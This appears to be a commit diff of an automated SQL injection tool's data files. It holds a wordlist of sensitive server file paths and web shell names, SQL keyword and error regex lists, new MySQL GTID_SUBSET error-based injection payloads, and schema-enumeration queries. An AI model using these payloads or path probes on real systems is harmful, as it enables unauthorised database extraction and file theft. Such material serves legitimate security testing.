/tmp/[jboss]/server/default/conf/jboss-service.xml
/tmp/[jboss]/server/default/conf/jndi.properties
/tmp/[jboss]/server/default/conf/log4j.xml
/tmp/[jboss]/server/default/conf/login-config.xml
/tmp/[jboss]/server/default/conf/server.log.properties
/tmp/[jboss]/server/default/conf/standardjaws.xml
/tmp/[jboss]/server/default/conf/standardjboss.xml
/tmp/[jboss]/server/default/deploy/jboss-logging.xml
/tmp/[jboss]/server/default/log/boot.log
/tmp/[jboss]/server/default/log/server.log
/tmp/jboss/server/default/conf/jboss-minimal.xml
/tmp/jboss/server/default/conf/jboss-service.xml
/tmp/jboss/server/default/conf/jndi.properties
/tmp/jboss/server/default/conf/log4j.xml
/tmp/jboss/server/default/conf/login-config.xml
/tmp/jboss/server/default/conf/server.log.properties
/tmp/jboss/server/default/conf/standardjaws.xml
/tmp/jboss/server/default/conf/standardjboss.xml
/tmp/jboss/server/default/deploy/jboss-logging.xml
/tmp/jboss/server/default/log/boot.log
/tmp/jboss/server/default/log/server.log
/tmp/access.log
/tmp/sess_
/usr/apache/conf/httpd.conf
@@ -1202,17 +1180,17 @@
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/lib/security/mkuser.default
/usr/local/[jboss]/server/default/conf/jboss-minimal.xml
/usr/local/[jboss]/server/default/conf/jboss-service.xml
/usr/local/[jboss]/server/default/conf/jndi.properties
/usr/local/[jboss]/server/default/conf/log4j.xml
/usr/local/[jboss]/server/default/conf/login-config.xml
/usr/local/[jboss]/server/default/conf/server.log.properties
/usr/local/[jboss]/server/default/conf/standardjaws.xml
/usr/local/[jboss]/server/default/conf/standardjboss.xml
/usr/local/[jboss]/server/default/deploy/jboss-logging.xml
/usr/local/[jboss]/server/default/log/boot.log
/usr/local/[jboss]/server/default/log/server.log
/usr/local/jboss/server/default/conf/jboss-minimal.xml
/usr/local/jboss/server/default/conf/jboss-service.xml
/usr/local/jboss/server/default/conf/jndi.properties
/usr/local/jboss/server/default/conf/log4j.xml
/usr/local/jboss/server/default/conf/login-config.xml
/usr/local/jboss/server/default/conf/server.log.properties
/usr/local/jboss/server/default/conf/standardjaws.xml
/usr/local/jboss/server/default/conf/standardjboss.xml
/usr/local/jboss/server/default/deploy/jboss-logging.xml
/usr/local/jboss/server/default/log/boot.log
/usr/local/jboss/server/default/log/server.log
/usr/local/apache/apache.conf
/usr/local/apache/apache2.conf
/usr/local/apache/conf/access.conf
@@ -1801,4 +1779,21 @@
/etc/httpd/conf.d/squirrelmail.conf
/usr/share/squirrelmail/config/config.php
/private/etc/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
# Web shells
/var/www/html/backdoor.php
/var/www/html/b374k.php
/var/www/html/c99.php
/var/www/html/cmd.php
/var/www/html/r57.php
/var/www/html/shell.php
/var/www/html/wso.php
# Misc
/etc/lib/nfs/etab
/app/app.js
/app/configure.js
/app/config/config.json
+41 -369
View File
@@ -452,26 +452,13 @@ WRITEXOR
YEAR_MONTH
ZEROFILL
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
A
ABORT
ABS
ABSENT
ABSOLUTE
ACCESS
ACCORDING
ACTION
ADA
ADD
ADMIN
AFTER
AGGREGATE
ACOS
ALL
ALLOCATE
ALSO
ALTER
ALWAYS
ANALYSE
ANALYZE
AND
@@ -483,110 +470,61 @@ ARRAY_MAX_CARDINALITY
AS
ASC
ASENSITIVE
ASSERTION
ASSIGNMENT
ASIN
ASYMMETRIC
AT
ATAN
ATOMIC
ATTRIBUTE
ATTRIBUTES
AUTHORIZATION
AVG
BACKWARD
BASE64
BEFORE
BEGIN
BEGIN_FRAME
BEGIN_PARTITION
BERNOULLI
BETWEEN
BIGINT
BINARY
BIT
BIT_LENGTH
BLOB
BLOCKED
BOM
BOOLEAN
BOTH
BREADTH
BY
C
CACHE
CALL
CALLED
CARDINALITY
CASCADE
CASCADED
CASE
CAST
CATALOG
CATALOG_NAME
CEIL
CEILING
CHAIN
CHAR
CHARACTER
CHARACTERISTICS
CHARACTERS
CHARACTER_LENGTH
CHARACTER_SET_CATALOG
CHARACTER_SET_NAME
CHARACTER_SET_SCHEMA
CHAR_LENGTH
CHECK
CHECKPOINT
CLASS
CLASS_ORIGIN
CLASSIFIER
CLOB
CLOSE
CLUSTER
COALESCE
COBOL
COLLATE
COLLATION
COLLATION_CATALOG
COLLATION_NAME
COLLATION_SCHEMA
COLLECT
COLUMN
COLUMNS
COLUMN_NAME
COMMAND_FUNCTION
COMMAND_FUNCTION_CODE
COMMENT
COMMENTS
COMMIT
COMMITTED
CONCURRENTLY
CONDITION
CONDITION_NUMBER
CONFIGURATION
CONNECT
CONNECTION
CONNECTION_NAME
CONSTRAINT
CONSTRAINTS
CONSTRAINT_CATALOG
CONSTRAINT_NAME
CONSTRAINT_SCHEMA
CONSTRUCTOR
CONTAINS
CONTENT
CONTINUE
CONTROL
CONVERSION
CONVERT
COPY
CORR
CORRESPONDING
COST
COS
COSH
COUNT
COVAR_POP
COVAR_SAMP
CREATE
CROSS
CSV
CUBE
CUME_DIST
CURRENT
@@ -602,44 +540,25 @@ CURRENT_TIMESTAMP
CURRENT_TRANSFORM_GROUP_FOR_TYPE
CURRENT_USER
CURSOR
CURSOR_NAME
CYCLE
DATA
DATABASE
DATALINK
DATE
DATETIME_INTERVAL_CODE
DATETIME_INTERVAL_PRECISION
DAY
DB
DEALLOCATE
DEC
DECFLOAT
DECIMAL
DECLARE
DEFAULT
DEFAULTS
DEFERRABLE
DEFERRED
DEFINED
DEFINER
DEGREE
DEFINE
DELETE
DELIMITER
DELIMITERS
DENSE_RANK
DEPTH
DEREF
DERIVED
DESC
DESCRIBE
DESCRIPTOR
DETERMINISTIC
DIAGNOSTICS
DICTIONARY
DISABLE
DISCARD
DISCONNECT
DISPATCH
DISTINCT
DLNEWCOPY
DLPREVIOUSCOPY
@@ -653,313 +572,176 @@ DLURLSCHEME
DLURLSERVER
DLVALUE
DO
DOCUMENT
DOMAIN
DOUBLE
DROP
DYNAMIC
DYNAMIC_FUNCTION
DYNAMIC_FUNCTION_CODE
EACH
ELEMENT
ELSE
EMPTY
ENABLE
ENCODING
ENCRYPTED
END
END-EXEC
END_FRAME
END_PARTITION
ENFORCED
ENUM
EQUALS
ESCAPE
EVENT
EVERY
EXCEPT
EXCEPTION
EXCLUDE
EXCLUDING
EXCLUSIVE
EXEC
EXECUTE
EXISTS
EXP
EXPLAIN
EXPRESSION
EXTENSION
EXTERNAL
EXTRACT
FALSE
FAMILY
FETCH
FILE
FILTER
FINAL
FIRST
FIRST_VALUE
FLAG
FLOAT
FLOOR
FOLLOWING
FOR
FORCE
FOREIGN
FORTRAN
FORWARD
FOUND
FRAME_ROW
FREE
FREEZE
FROM
FS
FULL
FUNCTION
FUNCTIONS
FUSION
G
GENERAL
GENERATED
GET
GLOBAL
GO
GOTO
GRANT
GRANTED
GREATEST
GROUP
GROUPING
GROUPS
HANDLER
HAVING
HEADER
HEX
HIERARCHY
HOLD
HOUR
ID
IDENTITY
IF
IGNORE
ILIKE
IMMEDIATE
IMMEDIATELY
IMMUTABLE
IMPLEMENTATION
IMPLICIT
IMPORT
IN
INCLUDING
INCREMENT
INDENT
INDEX
INDEXES
INDICATOR
INHERIT
INHERITS
INITIAL
INITIALLY
INLINE
INNER
INOUT
INPUT
INSENSITIVE
INSERT
INSTANCE
INSTANTIABLE
INSTEAD
INT
INTEGER
INTEGRITY
INTERSECT
INTERSECTION
INTERVAL
INTO
INVOKER
IS
ISNULL
ISOLATION
JOIN
K
KEY
KEY_MEMBER
KEY_TYPE
LABEL
JSON_ARRAY
JSON_ARRAYAGG
JSON_EXISTS
JSON_OBJECT
JSON_OBJECTAGG
JSON_QUERY
JSON_TABLE
JSON_TABLE_PRIMITIVE
JSON_VALUE
LAG
LANGUAGE
LARGE
LAST
LAST_VALUE
LATERAL
LC_COLLATE
LC_CTYPE
LEAD
LEADING
LEAKPROOF
LEAST
LEFT
LENGTH
LEVEL
LIBRARY
LIKE
LIKE_REGEX
LIMIT
LINK
LISTEN
LISTAGG
LN
LOAD
LOCAL
LOCALTIME
LOCALTIMESTAMP
LOCATION
LOCATOR
LOCK
LOG
LOG10
LOWER
M
MAP
MAPPING
MATCH
MATCHED
MATERIALIZED
MATCHES
MATCH_NUMBER
MATCH_RECOGNIZE
MAX
MAXVALUE
MAX_CARDINALITY
MEASURES
MEMBER
MERGE
MESSAGE_LENGTH
MESSAGE_OCTET_LENGTH
MESSAGE_TEXT
METHOD
MIN
MINUTE
MINVALUE
MOD
MODE
MODIFIES
MODULE
MONTH
MORE
MOVE
MULTISET
MUMPS
NAME
NAMES
NAMESPACE
NATIONAL
NATURAL
NCHAR
NCLOB
NESTING
NEW
NEXT
NFC
NFD
NFKC
NFKD
NIL
NO
NONE
NORMALIZE
NORMALIZED
NOT
NOTHING
NOTIFY
NOTNULL
NOWAIT
NTH_VALUE
NTILE
NULL
NULLABLE
NULLIF
NULLS
NUMBER
NUMERIC
OBJECT
OCCURRENCES_REGEX
OCTETS
OCTET_LENGTH
OF
OFF
OFFSET
OIDS
OLD
OMIT
ON
ONE
ONLY
OPEN
OPERATOR
OPTION
OPTIONS
OR
ORDER
ORDERING
ORDINALITY
OTHERS
OUT
OUTER
OUTPUT
OVER
OVERLAPS
OVERLAY
OVERRIDING
OWNED
OWNER
P
PAD
PARAMETER
PARAMETER_MODE
PARAMETER_NAME
PARAMETER_ORDINAL_POSITION
PARAMETER_SPECIFIC_CATALOG
PARAMETER_SPECIFIC_NAME
PARAMETER_SPECIFIC_SCHEMA
PARSER
PARTIAL
PARTITION
PASCAL
PASSING
PASSTHROUGH
PASSWORD
PATH
PATTERN
PER
PERCENT
PERCENTILE_CONT
PERCENTILE_DISC
PERCENT_RANK
PERIOD
PERMISSION
PERMUTE
PLACING
PLANS
PLI
PORTION
POSITION
POSITION_REGEX
POWER
PRECEDES
PRECEDING
PRECISION
PREPARE
PREPARED
PRESERVE
PRIMARY
PRIOR
PRIVILEGES
PROCEDURAL
PROCEDURE
PROGRAM
PUBLIC
QUOTE
PTF
RANGE
RANK
READ
READS
REAL
REASSIGN
RECHECK
RECOVERY
RECURSIVE
REF
REFERENCES
REFERENCING
REFRESH
REGR_AVGX
REGR_AVGY
REGR_COUNT
@@ -969,185 +751,87 @@ REGR_SLOPE
REGR_SXX
REGR_SXY
REGR_SYY
REINDEX
RELATIVE
RELEASE
RENAME
REPEATABLE
REPLACE
REPLICA
REQUIRING
RESET
RESPECT
RESTART
RESTORE
RESTRICT
RESULT
RETURN
RETURNED_CARDINALITY
RETURNED_LENGTH
RETURNED_OCTET_LENGTH
RETURNED_SQLSTATE
RETURNING
RETURNS
REVOKE
RIGHT
ROLE
ROLLBACK
ROLLUP
ROUTINE
ROUTINE_CATALOG
ROUTINE_NAME
ROUTINE_SCHEMA
ROW
ROWS
ROW_COUNT
ROW_NUMBER
RULE
RUNNING
SAVEPOINT
SCALE
SCHEMA
SCHEMA_NAME
SCOPE
SCOPE_CATALOG
SCOPE_NAME
SCOPE_SCHEMA
SCROLL
SEARCH
SECOND
SECTION
SECURITY
SEEK
SELECT
SELECTIVE
SELF
SENSITIVE
SEQUENCE
SEQUENCES
SERIALIZABLE
SERVER
SERVER_NAME
SESSION
SESSION_USER
SET
SETOF
SETS
SHARE
SHOW
SIMILAR
SIMPLE
SIZE
SIN
SINH
SKIP
SMALLINT
SNAPSHOT
SOME
SOURCE
SPACE
SPECIFIC
SPECIFICTYPE
SPECIFIC_NAME
SQL
SQLCODE
SQLERROR
SQLEXCEPTION
SQLSTATE
SQLWARNING
SQRT
STABLE
STANDALONE
START
STATE
STATEMENT
STATIC
STATISTICS
STDDEV_POP
STDDEV_SAMP
STDIN
STDOUT
STORAGE
STRICT
STRIP
STRUCTURE
STYLE
SUBCLASS_ORIGIN
SUBMULTISET
SUBSET
SUBSTRING
SUBSTRING_REGEX
SUCCEEDS
SUM
SYMMETRIC
SYSID
SYSTEM
SYSTEM_TIME
SYSTEM_USER
T
TABLE
TABLES
TABLESAMPLE
TABLESPACE
TABLE_NAME
TEMP
TEMPLATE
TEMPORARY
TEXT
TAN
TANH
THEN
TIES
TIME
TIMESTAMP
TIMEZONE_HOUR
TIMEZONE_MINUTE
TO
TOKEN
TOP_LEVEL_COUNT
TRAILING
TRANSACTION
TRANSACTIONS_COMMITTED
TRANSACTIONS_ROLLED_BACK
TRANSACTION_ACTIVE
TRANSFORM
TRANSFORMS
TRANSLATE
TRANSLATE_REGEX
TRANSLATION
TREAT
TRIGGER
TRIGGER_CATALOG
TRIGGER_NAME
TRIGGER_SCHEMA
TRIM
TRIM_ARRAY
TRUE
TRUNCATE
TRUSTED
TYPE
TYPES
UESCAPE
UNBOUNDED
UNCOMMITTED
UNDER
UNENCRYPTED
UNION
UNIQUE
UNKNOWN
UNLINK
UNLISTEN
UNLOGGED
UNNAMED
UNMATCHED
UNNEST
UNTIL
UNTYPED
UPDATE
UPPER
URI
USAGE
USER
USER_DEFINED_TYPE_CATALOG
USER_DEFINED_TYPE_CODE
USER_DEFINED_TYPE_NAME
USER_DEFINED_TYPE_SCHEMA
USING
VACUUM
VALID
VALIDATE
VALIDATOR
VALUE
VALUES
VALUE_OF
@@ -1158,22 +842,15 @@ VARYING
VAR_POP
VAR_SAMP
VERBOSE
VERSION
VERSIONING
VIEW
VOLATILE
WHEN
WHENEVER
WHERE
WHITESPACE
WIDTH_BUCKET
WINDOW
WITH
WITHIN
WITHOUT
WORK
WRAPPER
WRITE
XML
XMLAGG
XMLATTRIBUTES
@@ -1181,7 +858,6 @@ XMLBINARY
XMLCAST
XMLCOMMENT
XMLCONCAT
XMLDECLARATION
XMLDOCUMENT
XMLELEMENT
XMLEXISTS
@@ -1191,12 +867,8 @@ XMLNAMESPACES
XMLPARSE
XMLPI
XMLQUERY
XMLROOT
XMLSCHEMA
XMLSERIALIZE
XMLTABLE
XMLTEXT
XMLVALIDATE
YEAR
YES
ZONE
+4652 -202
View File
File diff suppressed because it is too large Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1 -1
View File
@@ -83,7 +83,7 @@
<error regexp="CLI Driver.*?DB2"/>
<error regexp="DB2 SQL error"/>
<error regexp="\bdb2_\w+\("/>
<error regexp="SQLSTATE.+SQLCODE"/>
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
<error regexp="com\.ibm\.db2\.jcc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
<error regexp="Pdo[./_\\]Ibm"/>
+80
View File
@@ -91,6 +91,46 @@
</details>
</test>
<test>
<title>MySQL &gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,8,9</clause>
<where>1</where>
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>4</level>
<risk>3</risk>
<clause>1,8,9</clause>
<where>1</where>
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
<stype>2</stype>
@@ -886,6 +926,26 @@
</details>
</test>
<test>
<title>MySQL &gt;= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
<stype>2</stype>
@@ -1155,6 +1215,26 @@
</details>
</test>
<test>
<title>MySQL &gt;= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
<stype>2</stype>
+12 -12
View File
@@ -131,8 +131,8 @@
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
</tables>
<columns>
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
<inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
<blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
@@ -147,8 +147,8 @@
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>
</search_table>
<search_column>
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
<inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
</search_column>
</dbms>
@@ -198,11 +198,11 @@
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
</dbs>
<tables>
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
</tables>
<columns>
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
</columns>
<dump_table>
@@ -301,8 +301,8 @@
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
</columns>
<dump_table>
<inband query="SELECT %s FROM %s"/>
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
</dump_table>
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
<search_db>
@@ -1370,8 +1370,8 @@
<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
</tables>
<columns>
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
